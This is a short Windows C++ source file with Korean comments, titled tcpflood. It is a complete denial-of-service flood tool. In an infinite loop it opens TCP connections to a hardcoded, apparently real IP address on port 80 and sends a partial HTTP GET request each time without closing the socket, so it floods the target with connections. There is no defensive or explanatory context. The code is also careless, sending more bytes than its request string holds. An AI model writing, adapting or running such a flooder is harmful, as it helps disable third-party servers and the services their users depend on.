// tcpflood.cpp : Defines the entry point for the console application. // #include <stdio.h> #include <stdlib.h> #include <winsock2.h> int main(int argc, char* argv[]) { SOCKET s; WSADATA WsaData; struct sockaddr_in server; socket_re: WSAStartup(MAKEWORD(2,2) , &WsaData); s = socket( PF_INET, SOCK_STREAM, 0 ); memset( &server, 0, sizeof(struct sockaddr) ); server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr("112.166.176.6"); server.sin_port = htons( atoi("80") ); if( connect( s, (struct sockaddr*)&server, sizeof( struct sockaddr ) ) < 0 ) { printf("접속 실패...\n"); goto socket_exit; } printf("x"); send(s, "GET / HTTP/1.1",16,0); WSACleanup(); goto socket_re; socket_exit: closesocket( s ); // close(s); WSACleanup(); // WinSock DLL을 비사용 printf("Hello World!\n"); return 0; }
C/C++